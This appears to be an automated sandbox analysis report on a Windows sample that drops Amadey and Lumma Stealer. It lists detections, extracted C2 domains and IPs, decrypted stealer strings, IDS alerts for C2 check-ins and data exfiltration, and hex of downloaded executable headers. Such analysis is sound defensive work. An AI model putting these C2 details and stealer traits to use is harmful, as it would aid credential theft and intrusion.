Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000003.00000003.2077576226.0000000004810000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["rapeflowwj.lat", "crosshuaht.lat", "treehoneyi.click", "energyaffai.lat", "sustainskelet.lat", "discokeyus.lat", "grannyejh.lat", "necklacebudi.lat", "aspecteirs.lat"], "Build id": "rAGxSF--load"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 57%			Perma Link
Source: file.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: treehoneyi.click
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000D.00000002.3286094006.00000000012B0000.00000002.00001000.00020000.00000000.sdmp	String decryptor: rAGxSF--load

Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_16ce97c2-a

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.77.249.79:443 -> 192.168.2.5:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.62.201.34:443 -> 192.168.2.5:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.5:49973 version: TLS 1.2

Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: 915c60055b.exe, 00000007.00000002.2847288516.0000000005690000.00000004.08000000.00040000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp, 0cf121b643.exe, 0000000E.00000000.3145571521.00000000009A2000.00000002.00000001.01000000.0000000F.sdmp, 0cf121b643.exe.6.dr, random[2].exe.6.dr
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp, 0cf121b643.exe, 0000000E.00000000.3145571521.00000000009A2000.00000002.00000001.01000000.0000000F.sdmp, 0cf121b643.exe.6.dr, random[2].exe.6.dr
Source:	Binary string: PE.pdb source: 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2847140036.0000000005400000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49819 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49826
Source: Network traffic	Suricata IDS: 2058424 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click) : 192.168.2.5:61528 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.5:49854 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.5:49861 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49853 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.5:49867 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.5:49873 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.5:49879 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.5:49885 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49890 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.5:49894 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.5:49905 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2058222 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz) : 192.168.2.5:63147 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49911 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058212 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click) : 192.168.2.5:51034 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058223 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI) : 192.168.2.5:49924 -> 45.77.249.79:443
Source: Network traffic	Suricata IDS: 2822521 - Severity 1 - ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner) : 45.77.249.79:443 -> 192.168.2.5:49924
Source: Network traffic	Suricata IDS: 2058214 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz) : 192.168.2.5:54882 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058215 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI) : 192.168.2.5:49936 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49931 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058236 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou) : 192.168.2.5:58292 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058216 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz) : 192.168.2.5:52403 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058226 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou) : 192.168.2.5:56461 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2822521 - Severity 1 - ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner) : 178.62.201.34:443 -> 192.168.2.5:49936
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49948 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058220 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz) : 192.168.2.5:53665 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058210 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou) : 192.168.2.5:53108 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058218 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz) : 192.168.2.5:63580 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49861 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49861 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49885 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49854 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49854 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49936 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49944 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49905 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49936 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49966 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49924 -> 45.77.249.79:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49924 -> 45.77.249.79:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49951 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49951 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49943 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49943 -> 172.67.180.113:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: treehoneyi.click
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Performs DNS queries to domains with low reputation

Source:	DNS query: effecterectz.xyz
Source:	DNS query: diffuculttan.xyz
Source:	DNS query: debonairnukk.xyz

Yara detected Generic Downloader

Source: Yara match	File source: 7.0.915c60055b.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.915c60055b.exe.3ea3198.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.915c60055b.exe.3ee94e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, type: DROPPED

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 12:12:10 GMTContent-Type: application/octet-streamContent-Length: 3286016Last-Modified: Wed, 18 Dec 2024 13:43:08 GMTConnection: keep-aliveETag: "6762d16c-322400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 c6 2f 00 00 20 00 00 00 c8 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 57 02 00 00 00 30 00 00 58 02 00 00 ca 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 32 00 00 02 00 00 00 22 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e6 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 00 c2 01 00 40 1c 04 00 03 00 00 00 43 0d 00 06 40 de 05 00 7a 05 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 2b 05 28 42 0f 39 39 28 02 00 00 06 2a 00 00 3a 2b 05 28 f1 af 5e 41 00 28 21 0d 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 38 79 00 00 00 fe 0c 00 00 45 03 00 00 00 63 00 00 00 4f 00 00 00 2f 00 00 00 38 5e 00 00 00 73 17 00 00 0a 80 04 00 00 04 20 01 00 00 00 17 3a d5 ff ff ff 26 38 cb ff ff ff 73 18 00 00 0a 80 03 00 00 04 38 d6 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 00 00 00 00 17 39 ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 73 1a 00 00 0a 80 05 00 00 04 20 02 00 00 00 38 8c ff ff ff 2a 73 1b 00 00 0a 80 02 00 00 04 38 ad ff ff ff 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 12:12:21 GMTContent-Type: application/octet-streamContent-Length: 4480512Last-Modified: Fri, 20 Dec 2024 11:40:12 GMTConnection: keep-aliveETag: "6765579c-445e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 30 c9 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 c9 00 00 04 00 00 ea 70 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 12 c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 12 c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 74 00 00 10 00 00 00 4c 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 60 74 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 74 00 00 02 00 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 80 74 00 00 02 00 00 00 60 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 78 73 7a 73 78 6c 72 00 e0 1b 00 00 40 ad 00 00 d6 1b 00 00 62 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 7a 67 62 7a 65 61 68 00 10 00 00 00 20 c9 00 00 04 00 00 00 38 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 c9 00 00 22 00 00 00 3c 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 12:12:33 GMTContent-Type: application/octet-streamContent-Length: 810496Last-Modified: Thu, 19 Dec 2024 19:41:56 GMTConnection: keep-aliveETag: "67647704-c5e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 fa bb 5e 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 66 02 00 00 d4 00 00 00 00 00 00 12 c3 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 06 03 00 50 00 00 00 00 70 03 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 cb 02 00 18 00 00 00 f8 8f 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 60 